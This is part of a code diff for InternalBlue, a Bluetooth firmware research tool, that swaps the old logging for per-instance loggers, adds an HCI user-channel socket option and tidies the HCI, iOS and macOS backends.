data = hcipkt.data[6:]
|
||||
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"Stack Dump (%s):\n%s"
|
||||
% (
|
||||
"checksum correct" if checksum_correct else "checksum NOT correct",
|
||||
@@ -1003,7 +1031,7 @@ class StackDumpReceiver(object):
|
||||
)
|
||||
if data[0] == 0x02:
|
||||
# This is the second stack dump event (contains register values)
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"Received Stack-Dump Event (contains %d registers):" % (data[1])
|
||||
)
|
||||
registers = (
|
||||
@@ -1014,7 +1042,7 @@ class StackDumpReceiver(object):
|
||||
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
|
||||
% tuple(values[6:11])
|
||||
)
|
||||
log.warn(registers)
|
||||
self.logger.warn(registers)
|
||||
return True
|
||||
|
||||
elif packet_type == 0xF0: # RAM dump
|
||||
@@ -1035,7 +1063,7 @@ class StackDumpReceiver(object):
|
||||
if packet_type in [0x2C, 0x4C]:
|
||||
data = hcipkt.data[9:]
|
||||
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"Stack Dump (%s) [packet_type=0x%x]:\n%s"
|
||||
% (
|
||||
"checksum correct" if checksum_correct else "checksum NOT correct",
|
||||
@@ -1046,7 +1074,7 @@ class StackDumpReceiver(object):
|
||||
|
||||
if packet_type == 0x2C and data[0] == 0x02:
|
||||
# This is the second stack dump event (contains register values)
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"Received Stack-Dump Event (contains %d registers):" % (data[1])
|
||||
)
|
||||
registers = (
|
||||
@@ -1057,7 +1085,7 @@ class StackDumpReceiver(object):
|
||||
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
|
||||
% tuple(values[6:11])
|
||||
)
|
||||
log.warn(registers)
|
||||
self.logger.warn(registers)
|
||||
return True
|
||||
|
||||
elif packet_type == 0xF0: # RAM dump
|
||||
@@ -1095,7 +1123,7 @@ class StackDumpReceiver(object):
|
||||
checksum_correct = self.verifyChecksum(hcipkt.data[3:])
|
||||
packet_type = hcipkt.data[2]
|
||||
|
||||
log.debug("packet type %x", packet_type)
|
||||
self.logger.debug("packet type %x", packet_type)
|
||||
|
||||
# TODO CoreDumpInfo (shows LMP/HCI version, memory dumps)
|
||||
|
||||
@@ -1103,7 +1131,7 @@ class StackDumpReceiver(object):
|
||||
if packet_type == 0x2C:
|
||||
data = hcipkt.data[4:]
|
||||
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"Stack Dump (%s):\n%s"
|
||||
% (
|
||||
"checksum correct" if checksum_correct else "checksum NOT correct",
|
||||
@@ -1112,7 +1140,7 @@ class StackDumpReceiver(object):
|
||||
)
|
||||
if data[0] == 0x02:
|
||||
# This is the second stack dump event (contains register values)
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"Received Evaluation Stack-Dump Event (contains %d registers):"
|
||||
% (data[1])
|
||||
)
|
||||
@@ -1124,7 +1152,7 @@ class StackDumpReceiver(object):
|
||||
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
|
||||
% tuple(values[6:11])
|
||||
)
|
||||
log.warn(registers)
|
||||
self.logger.warn(registers)
|
||||
return True
|
||||
|
||||
# CoreDumpRAMImage
|
||||
@@ -1137,7 +1165,7 @@ class StackDumpReceiver(object):
|
||||
# Last packet produced by CoreDumpRAMImage
|
||||
elif packet_type == 0x78: # RAM dump (last frame), TODO not sure if this works
|
||||
# This is the last pkt ouput:
|
||||
log.info("End of stackdump block...")
|
||||
self.logger.info("End of stackdump block...")
|
||||
self.finishStackDump()
|
||||
return True
|
||||
|
||||
@@ -1147,7 +1175,7 @@ class StackDumpReceiver(object):
|
||||
# address change from 0001fe38 to packet type e8 and then it's computing addr -0130000
|
||||
# negative addr does not work with finishStackDump()
|
||||
# so even though the last packet is 0x40, let's just finish on 0xe8
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"End of first stackdump block, writing to file and skipping second..."
|
||||
)
|
||||
self.finishStackDump()
|
||||
@@ -1171,7 +1199,7 @@ class StackDumpReceiver(object):
|
||||
if packet_type == 0x90:
|
||||
data = hcipkt.data[4:]
|
||||
values = [u32(data[i : i + 4]) for i in range(0, 64 * 2, 4)]
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"Stack Dump (%s):\n%s"
|
||||
% (
|
||||
"checksum correct" if checksum_correct else "checksum NOT correct",
|
||||
@@ -1179,7 +1207,7 @@ class StackDumpReceiver(object):
|
||||
)
|
||||
)
|
||||
# Values different than in other stack dump formats, experimental output!
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"Received S10 Stack-Dump Event (contains %d registers):" % (data[1])
|
||||
)
|
||||
registers = (
|
||||
@@ -1190,10 +1218,10 @@ class StackDumpReceiver(object):
|
||||
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
|
||||
% (values[21], values[22], values[23], values[24], values[25])
|
||||
)
|
||||
log.warn(registers)
|
||||
self.logger.warn(registers)
|
||||
return True
|
||||
|
||||
# log.info("%x" % u32(hcipkt.data[8:12]))
|
||||
# self.logger.info("%x" % u32(hcipkt.data[8:12]))
|
||||
# no last packet for S10e, just the size counts here... also is sometimes longer and sometimes shorter
|
||||
if packet_type == 0xF0 and u32(hcipkt.data[8:12]) == 0x230080:
|
||||
# This is the last pkt ouput:
|
||||
|
||||
+114
-56
@@ -2,27 +2,38 @@
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
import datetime
|
||||
import fcntl
|
||||
import queue as queue2k
|
||||
import socket
|
||||
import struct
|
||||
import threading
|
||||
from builtins import range
|
||||
from builtins import str
|
||||
from builtins import zip
|
||||
|
||||
from ctypes import *
|
||||
|
||||
from typing import List, cast, TYPE_CHECKING
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
from builtins import zip
|
||||
from builtins import range
|
||||
import datetime
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, p32, u16, p16, u32
|
||||
import fcntl
|
||||
from .core import InternalBlue
|
||||
from . import hci
|
||||
import queue as queue2k
|
||||
import threading
|
||||
from .core import InternalBlue
|
||||
from .utils.packing import p16, u16, p32, u32
|
||||
|
||||
from typing import List, cast, TYPE_CHECKING
|
||||
if TYPE_CHECKING:
|
||||
from internalblue import Device
|
||||
|
||||
standard_library.install_aliases()
|
||||
|
||||
|
||||
class sockaddr_hci(Structure):
|
||||
_fields_ = [
|
||||
("sin_family", c_ushort),
|
||||
("hci_dev", c_ushort),
|
||||
("hci_channel", c_ushort),
|
||||
]
|
||||
|
||||
# from /usr/include/bluetooth/hci.h:
|
||||
# define HCIDEVUP _IOW('H', 201, int)
|
||||
@@ -45,25 +56,25 @@ HCIGETDEVINFO = _IOR(ord("H"), 211, 4)
|
||||
|
||||
class HCICore(InternalBlue):
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
user_channel=False,
|
||||
):
|
||||
super(HCICore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory,
|
||||
replay,
|
||||
)
|
||||
self.btsnooplog_file_lock = threading.Lock()
|
||||
self.serial = False
|
||||
self.doublecheck = False
|
||||
self.user_channel = user_channel
|
||||
|
||||
def getHciDeviceList(self):
|
||||
# type: () -> List[Device]
|
||||
@@ -83,7 +94,7 @@ class HCICore(InternalBlue):
|
||||
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
|
||||
# Ticket 6: does not run on Windows with Kali subsystem
|
||||
except socket.error:
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"Opening a local Bluetooth socket failed. Not running on native Linux?"
|
||||
)
|
||||
return []
|
||||
@@ -94,12 +105,12 @@ class HCICore(InternalBlue):
|
||||
arg += b"\x00" * (8 * 16)
|
||||
devices_raw = fcntl.ioctl(s.fileno(), HCIGETDEVLIST, arg)
|
||||
num_devices = u16(devices_raw[:2])
|
||||
log.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
|
||||
self.logger.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
|
||||
|
||||
device_list = []
|
||||
for dev_nr in range(num_devices):
|
||||
dev_struct_start = 4 + 8 * dev_nr
|
||||
dev_id = u16(devices_raw[dev_struct_start : dev_struct_start + 2])
|
||||
dev_id = u16(devices_raw[dev_struct_start: dev_struct_start + 2])
|
||||
# arg is struct hci_dev_info (/usr/include/bluetooth/hci.h)
|
||||
arg = p16(dev_id) # di->dev_id = <device_id>
|
||||
arg += b"\x00" * 20 # Enough space for name, bdaddr and flags
|
||||
@@ -151,7 +162,7 @@ class HCICore(InternalBlue):
|
||||
"""
|
||||
|
||||
if dev_id < 0 or dev_id > 16:
|
||||
log.warn("bringHciDeviceUp: Invalid device id: %d." % dev_id)
|
||||
self.logger.warn("bringHciDeviceUp: Invalid device id: %d." % dev_id)
|
||||
return False
|
||||
|
||||
# Open bluetooth socket to execute ioctl's:
|
||||
@@ -161,11 +172,11 @@ class HCICore(InternalBlue):
|
||||
try:
|
||||
fcntl.ioctl(s.fileno(), HCIDEVUP, dev_id)
|
||||
s.close()
|
||||
log.info("Device with id=%d was set up successfully!" % dev_id)
|
||||
self.logger.info("Device with id=%d was set up successfully!" % dev_id)
|
||||
return True
|
||||
except IOError as e:
|
||||
s.close()
|
||||
log.warn("Error returned by ioctl: %s" % str(e))
|
||||
self.logger.warn("Error returned by ioctl: %s" % str(e))
|
||||
return False
|
||||
|
||||
def device_list(self):
|
||||
@@ -176,7 +187,7 @@ class HCICore(InternalBlue):
|
||||
return [(self, "hci_replay", "hci: ReplaySocket")]
|
||||
device_list = []
|
||||
for dev in self.getHciDeviceList():
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"HCI device: %s [%s] flags=%d<%s>"
|
||||
% (
|
||||
dev["dev_name"],
|
||||
@@ -195,7 +206,7 @@ class HCICore(InternalBlue):
|
||||
)
|
||||
|
||||
if len(device_list) == 0:
|
||||
log.info("No connected HCI device found")
|
||||
self.logger.info("No connected HCI device found")
|
||||
|
||||
return cast("List[Device]", device_list)
|
||||
|
||||
@@ -204,11 +215,16 @@ class HCICore(InternalBlue):
|
||||
"""
|
||||
|
||||
if not self.interface:
|
||||
log.warn("No HCI identifier is set")
|
||||
self.logger.warn("No HCI identifier is set")
|
||||
return False
|
||||
|
||||
if not self._setupSockets():
|
||||
log.critical("HCI socket could not be established!")
|
||||
if self.user_channel:
|
||||
success = self._setupSocketsUserChannel()
|
||||
else:
|
||||
success = self._setupSockets()
|
||||
|
||||
if not success:
|
||||
self.logger.critical("HCI socket could not be established!")
|
||||
return False
|
||||
|
||||
return True
|
||||
@@ -243,12 +259,9 @@ class HCICore(InternalBlue):
|
||||
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
|
||||
"""
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
self.logger.debug("Receive Thread started.")
|
||||
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Read the record data
|
||||
try:
|
||||
record_data = self.s_snoop.recv(1024)
|
||||
@@ -256,7 +269,7 @@ class HCICore(InternalBlue):
|
||||
except socket.timeout:
|
||||
continue # this is ok. just try again without error
|
||||
except Exception as e:
|
||||
log.critical(
|
||||
self.logger.critical(
|
||||
"Lost device interface with exception {}, terminating receive thread...".format(
|
||||
e
|
||||
)
|
||||
@@ -284,7 +297,7 @@ class HCICore(InternalBlue):
|
||||
btsnoop_time,
|
||||
)
|
||||
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0])
|
||||
)
|
||||
|
||||
@@ -310,7 +323,7 @@ class HCICore(InternalBlue):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
@@ -320,12 +333,24 @@ class HCICore(InternalBlue):
|
||||
callback(record)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
# if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller send a stack dump.")
|
||||
# if self.stackDumpReceiver.stack_dump_has_happened:
|
||||
# A stack dump has happened!
|
||||
# self.logger.warn("recvThreadFunc: The controller send a stack dump.")
|
||||
# self.exit_requested = True
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
self.logger.debug("Receive Thread terminated.")
|
||||
|
||||
def _writeBTSnoopHeader(self):
|
||||
# Write Header to btsnoop file (if file is still empty):
|
||||
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
|
||||
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
|
||||
btsnoop_hdr = (
|
||||
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
|
||||
)
|
||||
with self.btsnooplog_file_lock:
|
||||
self.btsnooplog_file.write(btsnoop_hdr)
|
||||
self.btsnooplog_file.flush()
|
||||
|
||||
|
||||
def _setupSockets(self):
|
||||
"""
|
||||
@@ -338,15 +363,15 @@ class HCICore(InternalBlue):
|
||||
dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface
|
||||
]
|
||||
if len(device) == 0:
|
||||
log.warn("Device not found: " + self.interface)
|
||||
self.logger.warn("Device not found: " + self.interface)
|
||||
return False
|
||||
device = device[0]
|
||||
|
||||
if device["dev_flags"] == 0:
|
||||
log.warn("Device %s is DOWN!" % self.interface)
|
||||
log.info("Trying to set %s to state 'UP' (requires root)" % self.interface)
|
||||
self.logger.warn("Device %s is DOWN!" % self.interface)
|
||||
self.logger.info("Trying to set %s to state 'UP' (requires root)" % self.interface)
|
||||
if not self.bringHciDeviceUp(device["dev_id"]):
|
||||
log.warn("Failed to bring up %s." % self.interface)
|
||||
self.logger.warn("Failed to bring up %s." % self.interface)
|
||||
return False
|
||||
|
||||
# TODO unload btusb module and check error messages here to give the user some output if sth fails
|
||||
@@ -372,23 +397,56 @@ class HCICore(InternalBlue):
|
||||
) # type mask, event mask, event mask, opcode
|
||||
|
||||
interface_num = device["dev_id"]
|
||||
log.debug("Socket interface number: %s" % interface_num)
|
||||
self.logger.debug("Socket interface number: %s" % interface_num)
|
||||
self.s_snoop.bind((interface_num,))
|
||||
self.s_snoop.settimeout(2)
|
||||
log.debug("_setupSockets: Bound socket.")
|
||||
self.logger.debug("_setupSockets: Bound socket.")
|
||||
|
||||
# same socket for input and output (this is different from adb here!)
|
||||
self.s_inject = self.s_snoop
|
||||
|
||||
# Write Header to btsnoop file (if file is still empty):
|
||||
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
|
||||
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
|
||||
btsnoop_hdr = (
|
||||
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
|
||||
)
|
||||
with self.btsnooplog_file_lock:
|
||||
self.btsnooplog_file.write(btsnoop_hdr)
|
||||
self.btsnooplog_file.flush()
|
||||
self._writeBTSnoopHeader()
|
||||
|
||||
return True
|
||||
|
||||
def _setupSocketsUserChannel(self):
|
||||
"""
|
||||
Python's socket API does not allow to set up an HCI User Channel
|
||||
so we need to use ctypes here. Most parts of this are taken from
|
||||
scapy's code (https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1482)
|
||||
"""
|
||||
|
||||
sockaddr_hcip = POINTER(sockaddr_hci)
|
||||
cdll.LoadLibrary("libc.so.6")
|
||||
libc = CDLL("libc.so.6")
|
||||
|
||||
socket_c = libc.socket
|
||||
socket_c.argtypes = (c_int, c_int, c_int);
|
||||
socket_c.restype = c_int
|
||||
|
||||
bind = libc.bind
|
||||
bind.argtypes = (c_int, POINTER(sockaddr_hci), c_int)
|
||||
bind.restype = c_int
|
||||
|
||||
s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER)
|
||||
if s < 0:
|
||||
self.logger.error("Unable to open PF_BLUETOOTH socket")
|
||||
|
||||
sa = sockaddr_hci()
|
||||
sa.sin_family = 31 # AF_BLUETOOTH
|
||||
sa.hci_dev = 0 # adapter index
|
||||
sa.hci_channel = 1 # HCI_USER_CHANNEL
|
||||
|
||||
r = bind(s, sockaddr_hcip(sa), sizeof(sa))
|
||||
if r != 0:
|
||||
self.logger.error("Unable to bind")
|
||||
|
||||
self.s_snoop = socket.fromfd(s, 31, 3, 1)
|
||||
|
||||
# same socket for input and output (this is different from adb here!)
|
||||
self.s_inject = self.s_snoop
|
||||
|
||||
self._writeBTSnoopHeader()
|
||||
|
||||
return True
|
||||
|
||||
|
||||
+19
-26
@@ -2,8 +2,6 @@
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
import struct
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
@@ -12,8 +10,6 @@ import socket
|
||||
import queue as queue2k
|
||||
from . import hci
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, context
|
||||
|
||||
from .usbmux import USBMux, MuxError
|
||||
from .core import InternalBlue
|
||||
import sys
|
||||
@@ -27,11 +23,10 @@ class iOSCore(InternalBlue):
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils=True,
|
||||
data_directory=".",
|
||||
):
|
||||
super(iOSCore, self).__init__(
|
||||
queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory="."
|
||||
queue_size, btsnooplog_filename, log_level, data_directory="."
|
||||
)
|
||||
self.serial = False
|
||||
self.doublecheck = True
|
||||
@@ -57,7 +52,7 @@ class iOSCore(InternalBlue):
|
||||
self.shutdown()
|
||||
|
||||
if self.running:
|
||||
log.warn("Already running. Call shutdown() first!")
|
||||
self.logger.warn("Already running. Call shutdown() first!")
|
||||
return []
|
||||
|
||||
# because we need to call process for every device that is connected
|
||||
@@ -69,7 +64,7 @@ class iOSCore(InternalBlue):
|
||||
|
||||
self.devices = self.mux.devices
|
||||
if not self.devices:
|
||||
log.info("No iOS devices connected")
|
||||
self.logger.info("No iOS devices connected")
|
||||
|
||||
device_list = []
|
||||
for dev in self.devices:
|
||||
@@ -98,10 +93,10 @@ class iOSCore(InternalBlue):
|
||||
ret = queue.get(timeout=timeout)
|
||||
return ret
|
||||
except queue2k.Empty:
|
||||
log.warn("sendH4: waiting for response timed out!")
|
||||
self.logger.warn("sendH4: waiting for response timed out!")
|
||||
return None
|
||||
except queue2k.Full:
|
||||
log.warn("sendH4: send queue is full!")
|
||||
self.logger.warn("sendH4: send queue is full!")
|
||||
return None
|
||||
|
||||
def local_connect(self):
|
||||
@@ -110,8 +105,8 @@ class iOSCore(InternalBlue):
|
||||
TCP
|
||||
"""
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to iPhone.")
|
||||
log.info(
|
||||
self.logger.critical("No connection to iPhone.")
|
||||
self.logger.info(
|
||||
"Check if\n \
|
||||
-> Bluetooth is deactivated in the iOS device's settings\n \
|
||||
-> internalblued is installed on the device\n \
|
||||
@@ -129,7 +124,7 @@ class iOSCore(InternalBlue):
|
||||
try:
|
||||
self.s_inject = self.mux.connect(self.interface, 1234)
|
||||
except MuxError:
|
||||
log.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
|
||||
self.logger.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
|
||||
return False
|
||||
|
||||
self.s_inject.settimeout(0.5)
|
||||
@@ -178,7 +173,7 @@ class iOSCore(InternalBlue):
|
||||
return (None, False)
|
||||
# might be the case that we have too much
|
||||
elif len(self.buffer) > required_len:
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"Got too much data, expected %d, got %d",
|
||||
required_len,
|
||||
len(self.buffer),
|
||||
@@ -198,29 +193,27 @@ class iOSCore(InternalBlue):
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
self.logger.debug("Receive Thread started.")
|
||||
|
||||
if self.write_btsnooplog:
|
||||
log.warn("Writing btsnooplog is not supported with iOS.")
|
||||
self.logger.warn("Writing btsnooplog is not supported with iOS.")
|
||||
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# read record data
|
||||
try:
|
||||
received_data = self.s_snoop.recv(1024)
|
||||
except socket.timeout:
|
||||
continue # this is ok. just try again without error
|
||||
|
||||
log.debug("H4 Data: %s", received_data)
|
||||
if len(received_data) > 0:
|
||||
self.logger.debug("H4 Data: %s", received_data)
|
||||
|
||||
(record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
|
||||
while record_data is not None:
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0)
|
||||
|
||||
log.debug("Recv: " + str(record[0]))
|
||||
self.logger.debug("Recv: " + str(record[0]))
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
@@ -233,7 +226,7 @@ class iOSCore(InternalBlue):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
self.logger.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
@@ -243,9 +236,9 @@ class iOSCore(InternalBlue):
|
||||
callback(record)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
log.warn(
|
||||
if self.stackDumpReceiver.stack_dump_has_happened:
|
||||
# A stack dump has happened!
|
||||
self.logger.warn(
|
||||
"recvThreadFunc: The controller send a stack dump. stopping.."
|
||||
)
|
||||
self.exit_requested = True
|
||||
@@ -254,7 +247,7 @@ class iOSCore(InternalBlue):
|
||||
if not is_more:
|
||||
break
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
self.logger.debug("Receive Thread terminated.")
|
||||
|
||||
def _teardownSockets(self):
|
||||
"""
|
||||
|
||||
+45
-48
@@ -2,45 +2,40 @@
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
import os
|
||||
import queue as queue2k
|
||||
import random
|
||||
import socket
|
||||
import time
|
||||
from builtins import str
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import socket
|
||||
import queue as queue2k
|
||||
from . import hci
|
||||
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, p8
|
||||
from .core import InternalBlue
|
||||
from .utils.packing import p8
|
||||
|
||||
import binascii
|
||||
import os
|
||||
|
||||
standard_library.install_aliases()
|
||||
filepath = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
IOBE = None
|
||||
|
||||
|
||||
# noinspection SpellCheckingInspection
|
||||
class macOSCore(InternalBlue):
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
):
|
||||
super(macOSCore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory=".",
|
||||
data_directory=data_directory,
|
||||
replay=replay,
|
||||
)
|
||||
self.doublecheck = False
|
||||
@@ -68,7 +63,7 @@ class macOSCore(InternalBlue):
|
||||
self.shutdown()
|
||||
|
||||
if self.running:
|
||||
log.warn("Already running. Call shutdown() first!")
|
||||
self.logger.warning("Already running. Call shutdown() first!")
|
||||
return []
|
||||
|
||||
# assume that a explicitly specified iPhone exists
|
||||
@@ -78,17 +73,17 @@ class macOSCore(InternalBlue):
|
||||
|
||||
def local_connect(self):
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to target device.")
|
||||
self.logger.critical("No connection to target device.")
|
||||
self._teardownSockets()
|
||||
return True
|
||||
|
||||
def _setupSockets(self):
|
||||
self.hciport = random.randint(60000, 65535 - 1)
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"_setupSockets: Selected random ports snoop=%d and inject=%d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
@@ -119,12 +114,9 @@ class macOSCore(InternalBlue):
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
self.logger.debug("Receive Thread started.")
|
||||
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# read record data
|
||||
try:
|
||||
data, addr = self.s_snoop.recvfrom(1024)
|
||||
@@ -142,20 +134,20 @@ class macOSCore(InternalBlue):
|
||||
0,
|
||||
0,
|
||||
) # TODO not sure if this causes trouble?
|
||||
log.debug("Recv: " + str(record[0]))
|
||||
self.logger.debug("Recv: " + str(record[0]))
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for (
|
||||
queue,
|
||||
filter_function,
|
||||
queue,
|
||||
filter_function,
|
||||
) in (
|
||||
self.registeredHciRecvQueues
|
||||
self.registeredHciRecvQueues
|
||||
): # TODO filter_function not working with bluez modifications
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue.Full:
|
||||
log.warn(
|
||||
self.logger.warning(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets..>"
|
||||
+ str(record_data)
|
||||
)
|
||||
@@ -165,14 +157,11 @@ class macOSCore(InternalBlue):
|
||||
for callback in self.registeredHciCallbacks:
|
||||
callback(record)
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
self.logger.debug("Receive Thread terminated.")
|
||||
|
||||
def _sendThreadFunc(self):
|
||||
log.debug("Send Thread started.")
|
||||
self.logger.debug("Send Thread started.")
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Wait for 'send task' in send queue
|
||||
try:
|
||||
task = self.sendQueue.get(timeout=0.5)
|
||||
@@ -185,24 +174,31 @@ class macOSCore(InternalBlue):
|
||||
# Prepend UART TYPE and length.
|
||||
out = p8(h4type) + p8(len(data)) + data
|
||||
|
||||
# Check if command is not a H4 type
|
||||
if not (h4type == 0x01 or h4type == 0x02):
|
||||
self.logger.warn(f"H4 Type {str(h4type)} not supported by macOS Core!")
|
||||
if queue is not None:
|
||||
queue.put(None)
|
||||
continue
|
||||
|
||||
# Check if data size is OK
|
||||
if len(data) < 2:
|
||||
self.logger.warn(f"Command is less than 2 bytes. Cannot send. Bytes: {data}")
|
||||
if queue is not None:
|
||||
queue.put(None)
|
||||
continue
|
||||
|
||||
# Send command to the chip using IOBluetoothExtended framework
|
||||
h4type, data, queue, filter_function = task
|
||||
data = bytearray(data)
|
||||
opcode = format(data[1], "02x") + format(data[0], "02x")
|
||||
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"Sending command: 0x"
|
||||
+ "".join(format(x, "02x") for x in data)
|
||||
+ ", opcode: "
|
||||
+ opcode
|
||||
)
|
||||
|
||||
if not (h4type == 0x01 or h4type == 0x02):
|
||||
log.warn("H4 Type {0} not supported by macOS Core!".format(str(h4type)))
|
||||
if queue is not None:
|
||||
queue.put(None)
|
||||
continue
|
||||
|
||||
# if the caller expects a response: register a queue to receive the response
|
||||
if queue is not None and filter_function is not None:
|
||||
recvQueue = queue2k.Queue(1)
|
||||
@@ -219,7 +215,7 @@ class macOSCore(InternalBlue):
|
||||
hcipkt = record[0]
|
||||
data = hcipkt.data
|
||||
except queue2k.Empty:
|
||||
log.warn("_sendThreadFunc: No response from the firmware.")
|
||||
self.logger.warning("_sendThreadFunc: No response from the firmware.")
|
||||
data = None
|
||||
self.unregisterHciRecvQueue(recvQueue)
|
||||
continue
|
||||
@@ -227,7 +223,7 @@ class macOSCore(InternalBlue):
|
||||
queue.put(data)
|
||||
self.unregisterHciRecvQueue(recvQueue)
|
||||
|
||||
log.debug("Send Thread terminated.")
|
||||
self.logger.debug("Send Thread terminated.")
|
||||
|
||||
def _teardownSockets(self):
|
||||
if self.s_inject is not None:
|
||||
@@ -243,5 +239,6 @@ class macOSCore(InternalBlue):
|
||||
def shutdown(self):
|
||||
if not self.replay:
|
||||
self.iobe.shutdown()
|
||||
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
|
||||
